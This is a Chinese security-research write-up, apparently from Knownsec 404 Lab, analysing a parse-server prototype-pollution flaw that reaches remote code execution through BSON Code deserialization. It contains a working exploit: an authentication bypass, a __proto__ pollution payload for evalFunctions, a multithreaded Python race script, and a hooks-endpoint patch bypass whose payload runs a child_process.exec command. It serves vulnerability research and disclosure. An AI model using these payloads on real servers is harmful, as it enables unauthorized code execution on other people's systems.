作者:billion@知道創宇404實驗室
時間:2023年3月31日

parse-server公布了一個原型污染的RCE漏洞,看起來同mongodb有關聯,so跟進&&分析一下。

BSON潛在問題

parse-server使用的mongodb依賴包版本是3.6.11,在node-mongodb-drive <= 3.7.3 版本時,使用1.x版本的bson依賴處理數據。

根據BSON文檔的介紹,存在一種Code類型,可以在反序列化時被執行

跟進BSON的序列化過程

      } else if (value['_bsontype'] === 'Code') {
        index = serializeCode(
          buffer,
          key,
          value,
          index,
          checkKeys,
          depth,
          serializeFunctions,
          ignoreUndefined
        );

當對象的_bsontype鍵為Code時,就會被判斷為Code類型,后面就會調用serializeCode函數進行序列化。

在反序列化時,遇到Code類型,會進行eval操作

var isolateEval = function(functionString) {
  // Contains the value we are going to set
  var value = null;
  // Eval the function
  eval('value = ' + functionString);
  return value;
};

根據官方的文檔,可以了解到這本身就是bson內置的功能,不過需要打開evalFunctions參數

翻翻源碼可以看到

var deserializeObject = function(buffer, index, options, isArray) {
  var evalFunctions = options['evalFunctions'] == null ? false : options['evalFunctions'];
  var cacheFunctions = options['cacheFunctions'] == null ? false : options['cacheFunctions'];
  var cacheFunctionsCrc32 =
    options['cacheFunctionsCrc32'] == null ? false : options['cacheFunctionsCrc32'];

evalFunctions參數默認情況下是未定義的,所以可以用原型污染來利用,該特性可以一直利用到bson <= 4.1.0

Code上傳點

mongodb在處理文件時,采用了一種叫GridFS的東西

看圖大致可以了解到GridFS在存儲文件時,把元數據(metadata)放到fs.files表,把文件內容放到fs.chunks

跟進parse-server的源碼,可以找到處理metadata的過程

node_modules/parse-server/lib/Routers/FilesRouter.js

node_modules/parse-server/lib/Adapters/Files/GridFSBucketAdapter.js

輸入進來的metadata被直接傳入到了數據庫中,并沒有進行過濾

在測試的時候,發現metadata并沒有保存到數據庫中

排查了一下middleware,可以找到以下驗證

node_modules/parse-server/lib/middlewares.js

只有當fileViaJSON=true時,才會把fileData拷貝過去

  if (fileViaJSON) {
    req.fileData = req.body.fileData; // We need to repopulate req.body with a buffer
    var base64 = req.body.base64;
    req.body = Buffer.from(base64, 'base64');
  }

回溯一下

  var fileViaJSON = false;

  if (!info.appId || !_cache.default.get(info.appId)) {
    // See if we can find the app id on the body.
    if (req.body instanceof Buffer) {

      try {
        req.body = JSON.parse(req.body);
      } catch (e) {
        return invalidRequest(req, res);
      }

      fileViaJSON = true;
    }

當info.appId沒有設置的話,就會進入if,fileViaJSON就被設置為true;或者是緩存中沒有info.appId的信息

function handleParseHeaders(req, res, next) {
  var mount = getMountForRequest(req);
  var info = {
    appId: req.get('X-Parse-Application-Id'),

向上翻翻代碼,就可以看到appId的賦值

后面還會有一處校驗

if (req.body && req.body._ApplicationId && _cache.default.get(req.body._ApplicationId) && (!info.masterKey || _cache.default.get(req.body._ApplicationId).masterKey === info.masterKey)) {
      info.appId = req.body._ApplicationId;
      info.javascriptKey = req.body._JavaScriptKey || '';

    } else {
      return invalidRequest(req, res);
    }

這一步需要保證_ApplicationId是正確的appId,否則就退出了

所以認證這里有兩種構造方式

No.1

讓請求頭中的X-Parse-Application-Id是一個不存在的appid,然后修改body中的_ApplicationId是正確的appid

在fs.files表中也能夠看到上傳的metadata信息

現在Code類型已經上傳了,所以在找到一處原型污染,就可以RCE了

No.2

不設置X-Parse-Application-Id請求頭

結果

原型污染

根據官方公告,應該在mongo目錄下有原型污染,大致上過了一遍代碼,感覺下面這一部分可能有

  for (var restKey in restUpdate) {
    if (restUpdate[restKey] && restUpdate[restKey].__type === 'Relation') {
      continue;
    }

    var out = transformKeyValueForUpdate(className, restKey, restUpdate[restKey], parseFormatSchema); // If the output value is an object with any $ keys, it's an
    // operator that needs to be lifted onto the top level update
    // object.

    if (typeof out.value === 'object' && out.value !== null && out.value.__op) {
      mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};
      mongoUpdate[out.value.__op][out.key] = out.value.arg;
    } else {
      mongoUpdate['$set'] = mongoUpdate['$set'] || {};
      mongoUpdate['$set'][out.key] = out.value;
    }
  }

如果能控制out.value.__op out.key out.value.arg,那就可以污染原型的evalFunctions

回溯變量,跟進transformKeyValueForUpdate()函數

const transformKeyValueForUpdate = (className, restKey, restValue, parseFormatSchema) => {
  // Check if the schema is known since it's a built-in field.
  var key = restKey;
  var timeField = false;

  switch (key) {
    case 'objectId':
    case '_id':
      if (['_GlobalConfig', '_GraphQLConfig'].includes(className)) {
        return {
          key: key,
          value: parseInt(restValue)
        };
      }

      key = '_id';
      break;

    case 'createdAt':
    case '_created_at':
      key = '_created_at';
      timeField = true;
      break;

    case 'updatedAt':
    case '_updated_at':
      key = '_updated_at';
      timeField = true;
      break;

    case 'sessionToken':
    case '_session_token':
      key = '_session_token';
      break;

    case 'expiresAt':
    case '_expiresAt':
      key = 'expiresAt';
      timeField = true;
      break;
........
    case '_rperm':
    case '_wperm':
      return {
        key: key,
        value: restValue
      };
......
  }

返回值大都是{key, value}的形式,如果key是case中的任一個,那必然不可能返回__proto__,繼續看后面的部分

if (parseFormatSchema.fields[key] && parseFormatSchema.fields[key].type === 'Pointer' || !parseFormatSchema.fields[key] && restValue && restValue.__type == 'Pointer') {
    key = '_p_' + key;
  } // Handle atomic values


  var value = transformTopLevelAtom(restValue);

  if (value !== CannotTransform) {
    if (timeField && typeof value === 'string') {
      value = new Date(value);
    }

    if (restKey.indexOf('.') > 0) {
      return {
        key,
        value: restValue
      };
    }

    return {//這里
      key,
      value
    };
  } // Handle arrays

在最終污染的位置restKey應該是evalFunctions,所以不會進入if (restKey.indexOf('.') > 0) {這個分支,可以通過第二個return返回key和value

跟進transformTopLevelAtom()函數

function transformTopLevelAtom(atom, field) {
  switch (typeof atom) {
.......
    case 'object':
      if (atom instanceof Date) {
        // Technically dates are not rest format, but, it seems pretty
        // clear what they should be transformed to, so let's just do it.
        return atom;
      }

      if (atom === null) {
        return atom;
      } // TODO: check validity harder for the __type-defined types


      if (atom.__type == 'Pointer') {
        return `${atom.className}$${atom.objectId}`;
      }

      if (DateCoder.isValidJSON(atom)) {
        return DateCoder.JSONToDatabase(atom);
      }

      if (BytesCoder.isValidJSON(atom)) {
        return BytesCoder.JSONToDatabase(atom);
      }

      if (GeoPointCoder.isValidJSON(atom)) {
        return GeoPointCoder.JSONToDatabase(atom);
      }

      if (PolygonCoder.isValidJSON(atom)) {
        return PolygonCoder.JSONToDatabase(atom);
      }

      if (FileCoder.isValidJSON(atom)) {
        return FileCoder.JSONToDatabase(atom);
      }

      return CannotTransform;

    default:
      // I don't think typeof can ever let us get here
      throw new Parse.Error(Parse.Error.INTERNAL_SERVER_ERROR, `really did not expect value: ${atom}`);
  }
}

只需要讓函數在前面的if中返回,就可以讓value!==CannotTransform

挑一個FileCoder

var FileCoder = {
  databaseToJSON(object) {
    return {
      __type: 'File',
      name: object
    };
  },

  isValidDatabaseObject(object) {
    return typeof object === 'string';
  },

  JSONToDatabase(json) {
    return json.name;
  },

  isValidJSON(value) {
    return typeof value === 'object' && value !== null && value.__type === 'File';
  }

};

匯總變量的變化,可以得到restUpdate的形式應該是下面這樣

{
"evalFunctions":{
    "__type":"File",
    "name":{
            "__op": "__proto__",
        "arg": true
    }
    }
}

在找了好久之后,大概發現下面這樣一條調用鏈

node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoTransform.js transformUpdate()
node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoStorageAdapter.js updateObjectsByQuery()
node_modules/parse-server/lib/Controllers/DatabaseController.js update()
node_modules/parse-server/lib/RestWrite.js  runBeforeSaveTrigger()
node_modules/parse-server/lib/RestWrite.js  execute()
node_modules/parse-server/lib/RestWrite.js  new RestWrite()
node_modules/parse-server/lib/rest.js update()
node_modules/parse-server/lib/Routers/ClassesRouter.js  handleUpdate()

在update之前,需要先創建一條數據

觸發update

修改成restUpdate,debug看看流程對不對

跟進代碼可以發現,parse-server會對修改之后的類型做判斷,上傳的是一個Object類型,修改的是File類型,兩者不匹配,所以就退出了。并且update包的類型是根據__typename來的

不是很好繞過。只能在create包上做修改

通過調試代碼發現,create包也會經過同樣的類型判斷過程,所以只需要把update包,復制一份到create中就好了

create包

update包

服務端報錯信息,應該可以確定,evalFunctions已經污染上了

為了保證不會因為服務端的報錯,導致異常退出,這里用條件競爭來做

def triger_unserialize(item):
    if item !=400:
        requests.get(
            url = file_path
        )
    r3 = requests.put(
        url = url + f"/parse/classes/{path}/{objectId}",
        data = json.dumps({
            "evalFunctions":{
                "__type":"File",
                "name":{
                    "__op":"__proto__",
                    "arg":"1"
                }
            },
            "cheatMode":"false"
        }),
        headers = {
            "X-Parse-Application-Id":f"{appid}",
            'Content-Type': 'application/json'
        }
    )

with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
    futures = [executor.submit(triger_unserialize, item) for item in range(0,800)]

修復繞過

官方的修復措施是對metadata進行過濾,但是沒有修復原型污染,所以,找一個新的可以上傳Code類型的位置,就可以RCE

Hooks

創建hook函數

POST /parse/hooks/triggers HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*
Content-Type: application/json
Content-Length: 254
Connection: close

{
"_ApplicationId":"123",
"className":"cname",
"triggerName":"tname",
"url":{
"_bsontype":"Code",
"code":"delete ({}).__proto__.evalFunctions; require(`child_process`).exec('touch /tmp/123.txt')"
},
"functionName":"f34",
"_MasterKey":"123456"
}

觸發

GET /parse/hooks/functions/f34 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*
Content-Length: 52
Content-Type: application/json
Connection: close

{
"_ApplicationId":"123",
"_MasterKey":"123456"
}

這種方式得知道MasterKey才能利用,還是有些限制的

在最新版(6.0.0)測試的時候發現,parse-server在5.1.0版本時,就已經把 node-mongodb-drive的版本換成了4.3.1

bson的版本也隨之變成了4.6,就沒有辦法執行eval了

bson5.0中直接刪除了該eval操作

https://jira.mongodb.org/browse/NODE-4711


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2059/